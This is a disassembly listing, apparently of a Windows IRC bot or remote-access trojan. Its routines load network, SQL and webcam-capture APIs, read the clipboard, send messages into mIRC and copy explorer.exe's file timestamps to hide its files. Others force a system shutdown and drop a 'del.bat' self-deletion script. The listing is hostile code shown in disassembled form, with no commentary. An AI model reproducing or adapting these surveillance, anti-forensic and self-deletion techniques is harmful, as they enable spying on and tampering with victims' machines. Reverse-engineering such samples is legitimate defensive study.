loc_409352:				; CODE XREF: sub_40891C+94Bj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB1C, eax


loc_40935D:				; CODE XREF: sub_40891C+9E6j
					; sub_40891C+9EEj ...
		mov	dword_43CB18, 1


loc_409367:				; CODE XREF: sub_40891C+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40939C
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43C94C, eax
		call	esi	; GetProcAddress
		cmp	dword_43C94C, ebx
		mov	dword_43CA1C, eax
		jz	short loc_4093A7
		cmp	eax, ebx
		jnz	short loc_4093B1
		jmp	short loc_4093A7
; ---------------------------------------------------------------------------


loc_40939C:				; CODE XREF: sub_40891C+A56j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB24, eax


loc_4093A7:				; CODE XREF: sub_40891C+A78j
					; sub_40891C+A7Ej
		mov	dword_43CB20, 1


loc_4093B1:				; CODE XREF: sub_40891C+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4093E6
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43CAA0, eax
		call	esi	; GetProcAddress
		cmp	dword_43CAA0, ebx
		mov	dword_43CA9C, eax
		jz	short loc_4093F1
		cmp	eax, ebx
		jnz	short loc_4093FB
		jmp	short loc_4093F1
; ---------------------------------------------------------------------------


loc_4093E6:				; CODE XREF: sub_40891C+AA0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB2C, eax


loc_4093F1:				; CODE XREF: sub_40891C+AC2j
					; sub_40891C+AC8j
		mov	dword_43CB28, 1


loc_4093FB:				; CODE XREF: sub_40891C+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40945A
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43CACC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43CAC4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43CA8C, eax
		call	esi	; GetProcAddress
		cmp	dword_43CACC, ebx
		mov	dword_43C964, eax
		jz	short loc_409465
		cmp	dword_43CAC4, ebx
		jz	short loc_409465
		cmp	dword_43CA8C, ebx
		jz	short loc_409465
		cmp	eax, ebx
		jnz	short loc_40946F
		jmp	short loc_409465
; ---------------------------------------------------------------------------


loc_40945A:				; CODE XREF: sub_40891C+AEAj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB34, eax


loc_409465:				; CODE XREF: sub_40891C+B26j
					; sub_40891C+B2Ej ...
		mov	dword_43CB30, 1


loc_40946F:				; CODE XREF: sub_40891C+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094A4
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43C998, eax
		call	esi	; GetProcAddress
		cmp	dword_43C998, ebx
		mov	dword_43CA98, eax
		jz	short loc_4094AF
		cmp	eax, ebx
		jnz	short loc_4094B9
		jmp	short loc_4094AF
; ---------------------------------------------------------------------------


loc_4094A4:				; CODE XREF: sub_40891C+B5Ej
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB3C, eax


loc_4094AF:				; CODE XREF: sub_40891C+B80j
					; sub_40891C+B86j
		mov	dword_43CB38, 1


loc_4094B9:				; CODE XREF: sub_40891C+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409542
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43CA60, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43CAAC, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43C9E8, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43C9A8, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43CA40, eax
		call	esi	; GetProcAddress
		cmp	dword_43CA60, ebx
		mov	dword_43C9B4, eax
		jz	short loc_40954D
		cmp	dword_43CAAC, ebx
		jz	short loc_40954D
		cmp	dword_43C9E8, ebx
		jz	short loc_40954D
		cmp	dword_43C9A8, ebx
		jz	short loc_40954D
		cmp	dword_43CA40, ebx
		jz	short loc_40954D
		cmp	eax, ebx
		jnz	short loc_409557
		jmp	short loc_40954D
; ---------------------------------------------------------------------------


loc_409542:				; CODE XREF: sub_40891C+BA8j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB44, eax


loc_40954D:				; CODE XREF: sub_40891C+BFEj
					; sub_40891C+C06j ...
		mov	dword_43CB40, 1


loc_409557:				; CODE XREF: sub_40891C+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40958C
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43C97C, eax
		call	esi	; GetProcAddress
		cmp	dword_43C97C, ebx
		mov	dword_43CA54, eax
		jz	short loc_409597
		cmp	eax, ebx
		jnz	short loc_4095A1
		jmp	short loc_409597
; ---------------------------------------------------------------------------


loc_40958C:				; CODE XREF: sub_40891C+C46j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB4C, eax


loc_409597:				; CODE XREF: sub_40891C+C68j
					; sub_40891C+C6Ej
		mov	dword_43CB48, 1


loc_4095A1:				; CODE XREF: sub_40891C+C6Cj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_40891C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A9	proc near		; CODE XREF: sub_40CD3A+51A1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43CAE0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4095F1
		push	dword_43CAE4
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4095F1:				; CODE XREF: sub_4095A9+1Aj
		cmp	dword_43CAE8, esi
		jz	short loc_409625
		push	dword_43CAEC
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409625:				; CODE XREF: sub_4095A9+4Ej
		cmp	dword_43CAF0, esi
		jz	short loc_409659
		push	dword_43CAF4
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409659:				; CODE XREF: sub_4095A9+82j
		cmp	dword_43CAF8, esi
		jz	short loc_40968D
		push	dword_43CAFC
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_40968D:				; CODE XREF: sub_4095A9+B6j
		cmp	dword_43CB00, esi
		jz	short loc_4096C1
		push	dword_43CB04
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4096C1:				; CODE XREF: sub_4095A9+EAj
		cmp	dword_43CB08, esi
		jz	short loc_4096F5
		push	dword_43CB0C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4096F5:				; CODE XREF: sub_4095A9+11Ej
		cmp	dword_43CB10, esi
		jz	short loc_409729
		push	dword_43CB14
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409729:				; CODE XREF: sub_4095A9+152j
		cmp	dword_43CB18, esi
		jz	short loc_40975D
		push	dword_43CB1C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_40975D:				; CODE XREF: sub_4095A9+186j
		cmp	dword_43CB20, esi
		jz	short loc_409791
		push	dword_43CB24
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409791:				; CODE XREF: sub_4095A9+1BAj
		cmp	dword_43CB28, esi
		jz	short loc_4097C5
		push	dword_43CB2C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4097C5:				; CODE XREF: sub_4095A9+1EEj
		cmp	dword_43CB30, esi
		jz	short loc_4097F9
		push	dword_43CB34
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4097F9:				; CODE XREF: sub_4095A9+222j
		cmp	dword_43CB38, esi
		jz	short loc_40982D
		push	dword_43CB3C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_40982D:				; CODE XREF: sub_4095A9+256j
		cmp	dword_43CB40, esi
		jz	short loc_409861
		push	dword_43CB44
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409861:				; CODE XREF: sub_4095A9+28Aj
		cmp	dword_43CB48, esi
		jz	short loc_409895
		push	dword_43CB4C
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409895:				; CODE XREF: sub_4095A9+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_429A8C
		push	eax
		call	sub_415316
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4098C2
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4098C2:				; CODE XREF: sub_4095A9+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4095A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098D4	proc near		; CODE XREF: sub_40CD3A+BEFp
					; sub_40CD3A+C20p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40995F
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40995F
		cmp	[ebp+arg_8], esi
		jz	short loc_40995F
		cmp	byte ptr [eax],	0
		jz	short loc_40995F
		push	ebx
		push	edi
		call	sub_42067A
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40995A
		push	[ebp+arg_4]
		push	edi
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409953
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416BE0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415B10
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416DB0
		push	[ebp+arg_4]
		call	sub_415B10
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415A30
		push	ebx
		push	edi
		call	sub_415A20
		add	esp, 30h
		mov	esi, edi


loc_409953:				; CODE XREF: sub_4098D4+3Cj
		push	ebx
		call	sub_415C9B
		pop	ecx


loc_40995A:				; CODE XREF: sub_4098D4+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_409961
; ---------------------------------------------------------------------------


loc_40995F:				; CODE XREF: sub_4098D4+Cj
					; sub_4098D4+13j ...
		xor	eax, eax


loc_409961:				; CODE XREF: sub_4098D4+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4098D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409965	proc near		; CODE XREF: sub_40CBBE+E9p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_415390
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415B10
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_40999D
		or	eax, 0FFFFFFFFh
		jmp	short loc_409A04
; ---------------------------------------------------------------------------


loc_40999D:				; CODE XREF: sub_409965+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_4099BE


loc_4099A9:				; CODE XREF: sub_409965+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4099B6
		cmp	dl, 0Dh
		jnz	short loc_4099B9


loc_4099B6:				; CODE XREF: sub_409965+4Aj
		mov	[ecx+esi], bl


loc_4099B9:				; CODE XREF: sub_409965+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4099A9


loc_4099BE:				; CODE XREF: sub_409965+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_4099E6


loc_4099C4:				; CODE XREF: sub_409965+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_4099E1
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_4099E1
		cmp	edi, 1F4h
		jge	short loc_4099E6
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_4099E1:				; CODE XREF: sub_409965+62j
					; sub_409965+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_4099C4


loc_4099E6:				; CODE XREF: sub_409965+5Dj
					; sub_409965+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_409A02
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4153F0
		add	esp, 0Ch


loc_409A02:				; CODE XREF: sub_409965+84j
		mov	eax, edi


loc_409A04:				; CODE XREF: sub_409965+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409965	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A09	proc near		; CODE XREF: sub_409A63+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409A42
		push	ebx
		mov	ebx, edi


loc_409A26:				; CODE XREF: sub_409A09+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409A45
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409A26
		pop	ebx


loc_409A42:				; CODE XREF: sub_409A09+18j
		pop	edi
		pop	esi
		retn
sub_409A09	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A45	proc near		; CODE XREF: sub_409A09+25p
					; sub_409A63+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417033
		cmp	al, 61h
		pop	ecx
		jl	short loc_409A60
		cmp	al, 7Ah
		jg	short loc_409A60
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_409A60:				; CODE XREF: sub_409A45+Ej
					; sub_409A45+12j
		xor	eax, eax
		retn
sub_409A45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A63	proc near		; CODE XREF: sub_40B158+10p
					; sub_40B18A+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415B90
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415B10
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415B10
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409A09
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_409B15
; ---------------------------------------------------------------------------


loc_409AA3:				; CODE XREF: sub_409A63+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417033
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417033
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409B13


loc_409AC5:				; CODE XREF: sub_409A63+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409A45
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409AE6
		mov	eax, ecx


loc_409AE6:				; CODE XREF: sub_409A63+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409B23
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417033
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_417033
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409AC5


loc_409B13:				; CODE XREF: sub_409A63+60j
		dec	edi
		dec	esi


loc_409B15:				; CODE XREF: sub_409A63+3Ej
		test	esi, esi
		jg	short loc_409AA3
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_409B1E:				; CODE XREF: sub_409A63+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409B23:				; CODE XREF: sub_409A63+88j
		xor	eax, eax
		jmp	short loc_409B1E
sub_409A63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B27	proc near		; CODE XREF: sub_40CD3A+3AB4p
					; sub_40CD3A+470Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_421088	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4210CC	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_409B60:				; CODE XREF: sub_409B27+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_409B6C
		cmp	cl, 9
		jnz	short loc_409B6F


loc_409B6C:				; CODE XREF: sub_409B27+3Ej
		inc	eax
		jmp	short loc_409B60
; ---------------------------------------------------------------------------


loc_409B6F:				; CODE XREF: sub_409B27+43j
					; sub_409B27+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_409B89
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_409B6F
		cmp	cl, 21h
		jl	short loc_409B6F


loc_409B89:				; CODE XREF: sub_409B27+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43CB50
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41588A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409B27	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BB1	proc near		; CODE XREF: sub_40CD3A+512Dp
		push	esi
		push	0
		call	dword_43C9F4	; OpenClipboard
		test	eax, eax
		jz	short loc_409BE8
		push	1
		call	dword_43CA14	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_409BE8
		push	edi
		push	esi
		call	dword_4210D4	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4210D0	; GlobalUnlock
		call	dword_43CA78	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409BE8:				; CODE XREF: sub_409BB1+Bj
					; sub_409BB1+19j
		xor	eax, eax
		pop	esi
		retn
sub_409BB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BEC	proc near		; CODE XREF: sub_40CD3A+44B4p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43CA30	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409C68
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4210E0	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4210DC	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_415316
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43CA80	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43CA80	; SendMessageA
		push	ebx
		call	dword_4210D8	; UnmapViewOfFile
		push	edi
		call	dword_42106C	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C68:				; CODE XREF: sub_409BEC+16j
		xor	eax, eax


loc_409C6A:				; CODE XREF: sub_409BEC+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409BEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6E	proc near		; CODE XREF: sub_40C574+20Dp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43CADC	; SearchPathA
		test	eax, eax
		jz	short loc_409D0D
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_421078
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409D0D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4210E8	; GetFileTime
		push	ebx
		mov	ebx, dword_42106C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409D0D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4210E4	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_409D0D:				; CODE XREF: sub_409C6E+2Aj
					; sub_409C6E+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409C6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D12	proc near		; CODE XREF: sub_40CD3A+133Cp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413BE5
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43C96C	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D34	proc near		; CODE XREF: sub_40BBF7+45Fp
					; sub_40CD3A+53C9p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42C254, esi
		push	edi
		jz	short loc_409D58
		cmp	dword_43CAF0, esi
		jnz	short loc_409D58
		push	esi
		call	sub_40B2B9
		pop	ecx


loc_409D58:				; CODE XREF: sub_409D34+13j
					; sub_409D34+1Bj
		call	sub_414F9D
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4210F8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_409EB8
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415390
